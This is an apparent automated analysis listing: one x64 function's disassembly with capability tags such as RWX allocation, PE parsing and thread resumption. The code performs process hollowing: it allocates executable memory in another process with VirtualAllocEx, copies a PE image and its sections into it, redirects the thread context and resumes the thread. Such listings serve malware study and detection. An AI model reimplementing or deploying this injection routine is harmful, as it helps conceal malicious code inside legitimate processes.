Function at 0x180078620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x100]
xorps xmm4, xmm4
movups xmmword [rbp - 0x68], xmm4
xor eax, eax
mov qword [rbp - 0x58], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x18007866e
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x180078671
xor r14d, r14d
call fcn.18000101d
mov r15, rax
mov qword [rbp - 0x70], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
test eax, eax
je 0x180078699
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x1800786a2
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x1800786ab
mov eax, dword [r14]
jmp 0x1800786af
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x180078cca
call fcn.1801916c0
cmp eax, 8
je 0x1800786cb
mov ecx, 0x40
jmp 0x1800786d0
mov ecx, 0x60
call fcn.180078d90
mov rdi, rax
call fcn.1801916c0
cmp eax, 8
je 0x1800786e9
mov ecx, 0x10
jmp 0x1800786ee
mov ecx, 0x18
movsxd rcx, ecx
call fcn.1800ef8e0
mov qword [rbp - 0x40], rax
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x1802f8008]
xor r8d, r8d
xor r9d, r9d
call fcn.1800790d0
test eax, eax
je 0x180078a49
test rdi, 0xffffffffffff0000
je 0x18007876f
mov rcx, rdi
mov qword [rbp - 0x80], rcx
lea rcx, [rbp - 0xb0]
call fcn.180005a20
mov rcx, qword [rbp - 0x80]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xb0]
call fcn.180005a70
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x180078bc8
mov eax, dword [r14 + 0x34]
mov edi, eax
mov rax, qword [rbp - 0x40]
mov rbx, qword [rax]
mov r13, rax
call fcn.1801916c0
cmp eax, 8
je 0x180078bd2
mov ecx, 4
movsxd rcx, ecx
mov r13, qword [rcx + r13]
mov rcx, rbx
mov rdx, rdi
call fcn.1800792b0
test rbx, rbx
je 0x180078b8d
test r13, r13
je 0x180078b8d
movzx ecx, byte [r15]
test ecx, ecx
jne 0x180078bdc
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x180078be6
mov eax, dword [r14 + 0x54]
mov dword [rbp - 0x44], eax
test ecx, ecx
jne 0x180078bf0
movzx edx, word [r14 + 6]
movzx r10d, dx
mov dword [rbp - 0x48], r10d
test ecx, ecx
jne 0x180078bfb
mov r11d, dword [r14 + 0x28]
mov dword [rbp - 0x4c], r11d
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov qword [rbp - 0x80], rcx
mov rdx, rdi
mov qword [rbp - 0x88], rdx
mov dword [rbp - 0x74], r8d
mov r9d, 0x3000
mov dword [rbp - 0x78], r9d
lea rcx, [rbp - 0xb0]
call fcn.180005a20
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x88]
mov r8d, dword [rbp - 0x74]
mov r9d, dword [rbp - 0x78]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xb0]
call fcn.180005a70
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
xor ecx, ecx
mov dword [rbp - 0x58], ecx
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
mov rdx, rsi
mov r9d, dword [rbp - 0x44]
call fcn.180079320
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x180078c05
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x48], 0
jle 0x1800788ed
mov ecx, dword [r14 + 0xc]
mov edx, ecx
add rdx, rsi
mov r8, qword [rdi + 0x10]
mov ecx, dword [r14 + 0x14]
add r8, rcx
mov r9d, dword [r14 + 0x10]
xor ecx, ecx
mov dword [rbp - 0x58], ecx
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call fcn.180079320
test eax, eax
jne 0x180078b57
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x48]
cmp r12d, ecx
mov dword [rbp - 0x48], ecx
jl 0x1800788a5
cmp byte [r15], 0
jne 0x180078c12
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.1800ef8e0
mov rdi, rax
cmp byte [r15], 0
je 0x180078c1c
mov dword [rdi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x180078c27
mov rcx, r13
mov rdx, rdi
call fcn.180079230
test eax, eax
je 0x180078b21
mov r14d, dword [rdi + 0xa4]
mov r12, qword [rdi + 0x88]
mov rcx, rsi
call fcn.180088c60
cmp byte [r15], 0
jne 0x180078c3f
add r14d, 8
movsxd rdx, r14d
mov r9d, dword [rax + 8]
xor ecx, ecx
mov qword [rbp - 0x68], rcx
mov dword [rbp - 0x58], ecx
mov qword [rbp - 0x68], rax
mov rcx, qword [rbp - 0x68]
cmp dword [rcx + 8], 0
jne 0x180078c49
xor r8d, r8d
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call fcn.180079320
xor ecx, ecx
test eax, eax
sete cl
xor edx, edx
mov qword [rbp - 0x68], rdx
test ecx, ecx
je 0x180078ab5
cmp byte [r15], 0
je 0x180078c65
mov r14d, dword [rbp - 0x4c]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [r15], 0
jne 0x180078c7b
mov rcx, r13
mov rdx, rdi
call fcn.180078ea0
test eax, eax
je 0x180078a7f
mov rcx, r13
mov qword [rbp - 0x88], rcx
lea rcx, [rbp - 0xb0]
call fcn.180005a20
mov rcx, qword [rbp - 0x88]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xb0]
call fcn.180005a70
mov qword [rbp - 0x60], rbx
jmp 0x180078ca9
lea rcx, [0x18024ae78]
call fcn.180003ea0
mov rsi, rax
lea rcx, [0x180300880]
call fcn.1800793d0
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
mov rdx, rax
call fcn.1800041b0
mov rcx, rsi
call fcn.180005310
lea rcx, [0x18024ae78]
call fcn.180003ea0
mov rsi, rax
lea rcx, [0x180309bc0]
call fcn.1800793d0
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
mov rdx, rax
call fcn.1800041b0
mov rcx, rsi
call fcn.180005310
lea rcx, [0x18024ae78]
call fcn.180003ea0
mov rsi, rax
lea rcx, [0x18030c3f8]
call fcn.1800793d0
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
mov rdx, rax
call fcn.1800041b0
mov rcx, rsi
call fcn.180005310
lea rcx, [0x18024ae78]
call fcn.180003ea0
mov rsi, rax
lea rcx, [0x18030bc10]
call fcn.1800793d0
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
mov rdx, rax
call fcn.1800041b0
mov rcx, rsi
call fcn.180005310
lea rcx, [0x18024ae78]
call fcn.180003ea0
mov rsi, rax
lea rcx, [0x18030c8e8]
call fcn.1800793d0
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
mov rdx, rax
call fcn.1800041b0
mov rcx, rsi
call fcn.180005310
lea rcx, [0x18024ae78]
call fcn.180003ea0
mov rsi, rax
lea rcx, [0x180303628]
call fcn.1800793d0
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
mov rdx, rax
call fcn.1800041b0
mov rcx, rsi
call fcn.180005310
lea rcx, [0x18024ae78]
call fcn.180003ea0
mov rsi, rax
lea rcx, [0x1803086c0]
call fcn.1800793d0
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
mov rdx, rax
call fcn.1800041b0
mov rcx, rsi
call fcn.180005310
lea rcx, [0x18024ae78]
call fcn.180003ea0
mov rsi, rax
lea rcx, [0x180309998]
call fcn.1800793d0
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
mov rdx, rax
call fcn.1800041b0
mov rcx, rsi
call fcn.180005310
call fcn.180111b50
mov rdi, qword [r12 + 0x30]
jmp 0x180078783
mov ecx, 8
jmp 0x1800787a0
mov r8d, dword [r12 + 0x50]
jmp 0x1800787d4
mov eax, dword [r12 + 0x54]
jmp 0x1800787e0
movzx edx, word [r12 + 6]
jmp 0x1800787f0
mov r11d, dword [r12 + 0x28]
jmp 0x180078804
lea r14, [r12 + 0x108]
jmp 0x18007889c
mov ecx, 0x4d0
jmp 0x1800788fc
mov dword [rdi], 0x10002
jmp 0x180078918
mov rcx, r13
mov rdx, rdi
call fcn.1800791d0
test eax, eax
je 0x180078aeb
jmp 0x180078935
lea rdx, [r12 + 0x10]
jmp 0x18007895c
mov r8, qword [rbp - 0x68]
cmp dword [r8 + 8], 0
jbe 0x180078bc3
mov r8, qword [rbp - 0x68]
add r8, 0x10
jmp 0x18007897e
mov r14d, dword [rbp - 0x4c]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1800789bf
mov rcx, r13
mov rdx, rdi
call fcn.180078e40
test eax, eax
je 0x180078a13
jmp 0x1800789dc
mov rcx, rsp
call fcn.180078d58
nop
mov rax, qword [rbp - 0x60]
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x18024ae78]
call fcn.180003ea0
mov rsi, rax
lea rcx, [0x1802f9a50]
call fcn.1800793d0
mov rdi, rax
mov rcx, rsi
call fcn.1800856d0
lea rcx, [rsi + 8]
mov rdx, rdi
call fcn.1800041b0
mov rcx, rsi
call fcn.180005310
xor eax, eax
jmp 0x180078cb6